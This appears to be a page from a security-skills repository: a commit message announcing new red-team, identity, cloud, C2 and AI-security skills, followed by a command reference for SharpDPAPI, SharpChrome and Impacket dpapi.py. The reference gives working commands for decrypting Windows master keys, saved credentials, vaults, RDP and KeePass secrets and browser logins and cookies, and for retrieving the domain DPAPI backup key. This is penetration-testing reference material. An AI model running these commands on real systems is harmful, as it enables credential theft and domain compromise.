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mukul975
8cae0648ec
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
3.3 KiB
3.3 KiB
SharpDPAPI / DPAPI — Command Reference
SharpDPAPI User Commands
| Command | Purpose | Example |
|---|---|---|
triage |
Auto-run credentials, vaults, rdg, certificates | SharpDPAPI.exe triage /unprotect |
masterkeys |
Decrypt user master keys (GUID:SHA1 output) | SharpDPAPI.exe masterkeys /password:Pass |
credentials |
Decrypt Credential Manager blobs | SharpDPAPI.exe credentials /pvk:key.pvk |
vaults |
Decrypt Credential Vault entries | SharpDPAPI.exe vaults /pvk:key.pvk |
rdg |
Decrypt RDCMan.settings RDP passwords | SharpDPAPI.exe rdg /unprotect |
keepass |
Decrypt KeePass DPAPI keys | SharpDPAPI.exe keepass /unprotect |
certificates |
Decrypt certificate private keys | SharpDPAPI.exe certificates /unprotect /showall |
SharpDPAPI Machine Commands (require admin/SYSTEM)
| Command | Purpose |
|---|---|
machinemasterkeys |
Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |
machinecredentials |
Decrypt machine credential blobs |
machinevaults |
Decrypt machine vault entries |
machinetriage |
Run all machine-scoped triage commands |
SharpDPAPI Supporting Commands
| Command | Purpose | Example |
|---|---|---|
backupkey |
Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk |
Common Flags
| Flag | Meaning |
|---|---|
/unprotect |
Use live CryptUnprotectData in current user context (online) |
/password:<pw> |
Decrypt master keys with the user's plaintext password |
/ntlm:<hash> |
Decrypt master keys with the user's NTLM hash |
/pvk:<file> |
Use domain backup private key for decryption |
/mkfile:<file> |
Provide a specific master key file |
/server:<dc> |
Target DC for backupkey retrieval |
/target:<path> |
Target file/folder to decrypt |
/rpc |
Use RPC to request master key decryption from a DC |
/showall |
Show all certificate stores / verbose output |
SharpChrome Commands
| Command | Purpose | Example |
|---|---|---|
logins |
Decrypt saved browser logins | SharpChrome.exe logins /unprotect |
cookies |
Decrypt browser cookies | SharpChrome.exe cookies /pvk:key.pvk |
statekeys |
Decrypt the AES app-bound state key | SharpChrome.exe statekeys /unprotect |
Impacket dpapi.py (Linux)
| Subcommand | Purpose | Example |
|---|---|---|
masterkey |
Decrypt a master key file | impacket-dpapi masterkey -file MK -pvk key.pvk |
credential |
Decrypt a credential blob | impacket-dpapi credential -file CRED -key 0x<mk> |
vault |
Decrypt vault policy/creds | impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk> |
backupkeys |
Retrieve domain backup keys | impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk |
Key File Locations
| Path | Contents |
|---|---|
%APPDATA%\Microsoft\Protect\<SID>\ |
User master keys |
%WINDIR%\System32\Microsoft\Protect\ |
Machine master keys |
%LOCALAPPDATA%\Microsoft\Credentials\ |
Credential Manager blobs |
%APPDATA%\Microsoft\Vault\ / %LOCALAPPDATA%\Microsoft\Vault\ |
Credential Vault |
External References
- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI
- Impacket: https://github.com/fortra/impacket